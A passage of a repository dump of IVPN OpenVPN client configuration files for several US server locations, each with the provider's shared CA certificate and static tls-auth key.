vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/USA - Atlanta.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote us-ga.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name us-ga name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/USA - Dallas.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote us-tx.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name us-tx name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/USA - Los Angeles.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote us-ca.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name us-ca name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/USA - Miami.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote us-fl.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name us-fl name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/USA - New Jersey.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote us-nj.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name us-nj name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/USA - Salt Lake City.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote us-ut.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name us-ut name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 